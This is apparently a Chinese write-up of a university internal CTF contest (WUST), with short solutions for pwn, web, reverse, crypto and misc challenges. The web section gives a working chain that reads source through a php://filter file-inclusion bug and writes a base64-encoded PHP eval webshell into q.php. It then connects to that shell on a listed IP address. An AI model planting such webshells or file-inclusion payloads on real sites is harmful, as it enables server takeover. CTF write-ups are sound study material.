WUST第一次内部赛 Writeup
- PWN
- just_run
- 2048
- WEB
- 签到题
- PHP是世界上最好的语言
- RE
- ez_py
- baby_re
- CRYPTO
- base64
- 兔老大
- easy_caesar
- MISC
- Where_am_I
- 古老的计算机
- double_flag
PWN
just_run
nc之后ls,cat flag.txt
2048
利用了bug。。一次输入很多个wasd用了几分钟刷分到了一万分
WEB
签到题
GET传参ais=123,POST传参ais=123,BP抓包把Referer改成https://www.baidu.com,加上Client-IP: 127.0.0.1
PHP是世界上最好的语言
在url最后加上/index.php,F12发现了提示
考点是文件包含
/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
base64解码
/index.php?file=php://filter/read=convert.base64-encode/resource=./upload.php
base64解码
死亡exit
找到了一篇博客
而这道题把?>用//注释掉了,所以前面要补3个a才能凑成4的倍数
先把一句话木马用base64编码
在/upload.php页面用POST方式构造如下payload,将一句话木马写入q.php
death=aaaPD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==&filename=php://filter/write=convert.base64-decode/resource=q.php
用蚁剑连接http://148.70.205.134:10001/q.php,密码是shell,在根目录找到flag
RE
ez_py
在线pyc反编译,在得到的原py文件最后加上一行print(encode(message))
baby_re
放进ida
点开check函数
可知check函数里的a1是主函数输入的字符串v4,是要通过check函数里的数组v4逆向求得的,而数组v4和数组flag相等,点进flag,因为是int类型,占4个字节,所以通过按键盘的d键把所有的db都转化为dd形式
写个脚本逆向求a1
#include<bits/stdc++.h>
using namespace std;
int main()
{
unsigned int a=16;
char a1[30];
int i;
unsigned long v4[30]={0x350,0x360,0x308,0x358,0x3F8,0x2B0,0x328,0x318,0x188,0x1A8,0x318,0x2B8,0x180,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x318,0x2B8,0x348,0x368,0x380,0x360,0x328,0x3E8};
for ( i = 0; i <= 30; ++i )
{
v4[i]^=a;
v4[i]-=16;
a1[i]=(char)(v4[i]/8);
}
for ( i = 0; i <= 30; ++i )
cout<<a1[i];
return 0;
}
CRYPTO
base64
在线base64转换图片得到压缩包的解压密码
兔老大
在线rabbit解密,密钥是rabbit,再base32解码
easy_caesar
写脚本把每个字符都-3移位,再base64解码
MISC
Where_am_I
用PS打开图片,用颜色取样器工具得到两块图片的RGB值,对应北纬和西经值,进入谷歌地图搜索
40°41′21″N 74°02′40″W得到地点为自由女神像
古老的计算机
用winhex或HXD打开图片,最后有一段这个
在线敲击码解密,再写脚本转换成二进制01,再在线二进制转字符串
double_flag
用HXD打开压缩包,在开头加上50 4B 03 04,解压出另一张图片,用Beyond Compare对比两张图片